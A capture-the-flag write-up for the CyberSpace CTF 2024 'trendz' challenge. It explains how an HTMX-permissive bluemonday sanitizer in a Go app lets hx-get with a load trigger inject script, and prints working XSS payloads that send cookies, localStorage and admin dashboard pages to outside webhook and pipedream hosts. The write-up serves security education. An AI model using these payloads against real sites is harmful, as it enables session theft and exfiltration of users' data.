CyberSpace CTF 2024 — trendz(zz)?
The latest trendz is all about Go and HTMX, but what could possibly go wrong? A secret post has been hidden deep within the application. Your mission is to uncover it.
Notice anything off in this application? If you suspect something is wrong, report it to the superadmin. You never know what secrets might be uncovered.
nc trendz-bot.challs.csc.tf 1337
We're given a Go server that looks like this:
Code (go):
1package main
2
3import (
4 "app/handlers/custom"
5 "app/handlers/dashboard"
6 "app/handlers/db"
7 "app/handlers/jwt"
8 "app/handlers/service"
9
10 "github.com/gin-gonic/gin"
11)
12
13func main() {
14 s := gin.Default()
15 s.LoadHTMLGlob("templates/*")
16 db.InitDBconn()
17 jwt.InitJWT()
18
19 s.GET("/", func(c *gin.Context) {
20 c.Redirect(302, "/login")
21 })
22 s.GET("/ping", func(c *gin.Context) {
23 c.JSON(200, gin.H{
24 "message": "pong",
25 })
26 })
27 r := s.Group("/")
28 r.POST("/register", service.CreateUser)
29 r.GET("/register", func(c *gin.Context) {
30 c.HTML(200, "register.tmpl", gin.H{})
31 })
32 r.POST("/login", service.LoginUser)
33 r.GET("/login", func(c *gin.Context) {
34 c.HTML(200, "login.tmpl", gin.H{})
35 })
36
37 r.GET("/getAccessToken", service.GenerateAccessToken)
38
39 authorizedEndpoints := r.Group("/user")
40 authorizedEndpoints.Use(service.AuthorizeAccessToken())
41 authorizedEndpoints.GET("/dashboard", dashboard.UserDashboard)
42 authorizedEndpoints.POST("/posts/create", service.CreatePost)
43 authorizedEndpoints.GET("/posts/:postid", service.ShowPost)
44 authorizedEndpoints.GET("/flag", service.DisplayFlag)
45
46 adminEndpoints := r.Group("/admin")
47 adminEndpoints.Use(service.AuthorizeAccessToken())
48 adminEndpoints.Use(service.ValidateAdmin())
49 adminEndpoints.GET("/dashboard", dashboard.AdminDashboard)
50
51 SAEndpoints := r.Group("/superadmin")
52 SAEndpoints.Use(service.AuthorizeAccessToken())
53 SAEndpoints.Use(service.ValidateAdmin())
54 SAEndpoints.Use(service.AuthorizeRefreshToken())
55 SAEndpoints.Use(service.ValidateSuperAdmin())
56 SAEndpoints.GET("/viewpost/:postid", dashboard.ViewPosts)
57 SAEndpoints.GET("/dashboard", dashboard.SuperAdminDashboard)
58 s.NoRoute(custom.Custom404Handler)
59 s.Run(":8000")
60}
This is a 3 part challenge: we can make and share posts, and for part 3 we can report "suspicious posts" to the super admin via nc
.
Looking in the posts service, we can find a suspicious sanitize function looking like so:
Code (go):
1func SanitizeData(data string) string {
2 p := bluemonday.NewPolicy()
3 p.AllowURLSchemesMatching(regexp.MustCompile("^https?"))
4 p.AllowAttrs("alt", "cite", "datetime", "dir", "high", "hx-delete", "hx-get", "hx-patch", "hx-post", "hx-put", "hx-swap", "hx-target", "hx-trigger", "hx-vals", "id", "low", "map", "max", "min", "name", "optimum", "value").OnElements("a", "abbr", "acronym", "b", "br", "cite", "code", "dfn", "div", "em", "figcaption", "h1", "h2", "h3", "h4", "h5", "h6", "hgroup", "hr", "i", "mark", "p", "pre", "s", "samp", "small", "span", "strike", "strong", "sub", "sup", "tt", "var", "wbr")
5 html := p.Sanitize(data)
6 return html
7}
8
9func ShowPost(ctx *gin.Context) {
10 postID := ctx.Param("postid")
11 DB := db.GetDBconn()
12 var title string
13 var data string
14 err := DB.QueryRow("SELECT title, data FROM posts WHERE postid = $1", postID).Scan(&title, &data)
15 if err != nil {
16 fmt.Println(err)
17 }
18 html := SanitizeData(data)
19 ctx.PureJSON(200, gin.H{
20 "title": title, "data": html})
21}
It looks like our post data is directly rendered to the DOM via innerHTML
, but we're only allowed to use certain allowed tags and attributes defined by the sanitation policy.
Suspiciously, among the allowed attributes are HTMX-specific attributes like hx-get
. Reading the documentation,
The
hx-get
attribute will cause an element to issue aGET
to the specified URL and swap the HTML into the DOM using a swap strategy:
Then, we can circumvent the sanitizer by using hx-get
to fetch our malicious payload via network request and swap it in to the DOM, giving us XSS.
By default, this swapping only triggers when the element is clicked, but we can use the hx-trigger
property to swap in our payload on mount. Worse, however, is that htmx.config.selfRequestsOnly
defaults to true
, meaning that we can only send HTMX GET requests to the same domain.
We can host semi-arbitrary data on the same domain via posts, but we unfortunately can't simply put our payload in the post data due to the sanitizer. Instead, we can make a post with arbitrary data whose title is our malicious payload, e.g.
Code (html):
1<img src=x onerror='fetch(`https://webhook.site/e9569dad-ec09-4b1f-8125-3e35e1edd678?a=` + document.cookie + JSON.stringify(localStorage))'>
(making sure not to use double quotes lest the payload get JSON-escaped).
Then, our malicious post data would look something like
Code (html):
1<div hx-get="/user/posts/5b3f1b37-3c01-4051-9a7f-1bbc020668e6" hx-trigger="load" hx-swap="innerHTML"></div>
swapping in the first posts's title and data into its innerHTML
for XSS.
Looking at the superadmin dashboard,
Code (go):
1package dashboard
2
3import (
4 "fmt"
5 "os"
6
7 "github.com/gin-gonic/gin"
8)
9
10func SuperAdminDashboard(ctx *gin.Context) {
11 fmt.Println("SuperAdmin dashboard accessed")
12 ctx.HTML(200, "superAdminDash.tmpl", gin.H{
13 "flag": os.Getenv("SUPERADMIN_FLAG"),
14 })
15}
16
17func ViewPosts(ctx *gin.Context) {
18 ctx.HTML(200, "viewPost.tmpl", gin.H{
19 "PostID": ctx.Param("postid"),
20 "title": "Click",
21 "data": "{{data|safe}}",
22 })
23}
it looks like sending the superadmin to /superadmin/viewpost/{our malicious post id}
causes our payload to be rendered into the DOM for XSS, from where we can fetch /superadmin/dashboard
to get the part 3 flag. Here's a payload that does just that:
Code (html):
1<img src=x onerror='fetch(`/superadmin/dashboard`).then(x=>x.text()).then(x=>fetch(`https://enhs7ezpdsxpw.x.pipedream.net/` + btoa(x)))'>
Looking in AdminDash.go
,
Code (go):
1package dashboard
2
3import (
4 "app/handlers/service"
5 "os"
6
7 "github.com/gin-gonic/gin"
8)
9
10func AdminDashboard(ctx *gin.Context) {
11 posts := service.GetAllPosts()
12 ctx.HTML(200, "adminDash.tmpl", gin.H{
13 "flag": os.Getenv("ADMIN_FLAG"),
14 "posts": posts,
15 })
16}
because the superadmin is also an admin, we can use the same XSS to fetch /admin/dashboard
and get the part 1 flag:
Code (html):
1<img src=x onerror='fetch(`/admin/dashboard`).then(x=>x.text()).then(x=>fetch(`https://enhs7ezpdsxpw.x.pipedream.net/` + btoa(x)))'>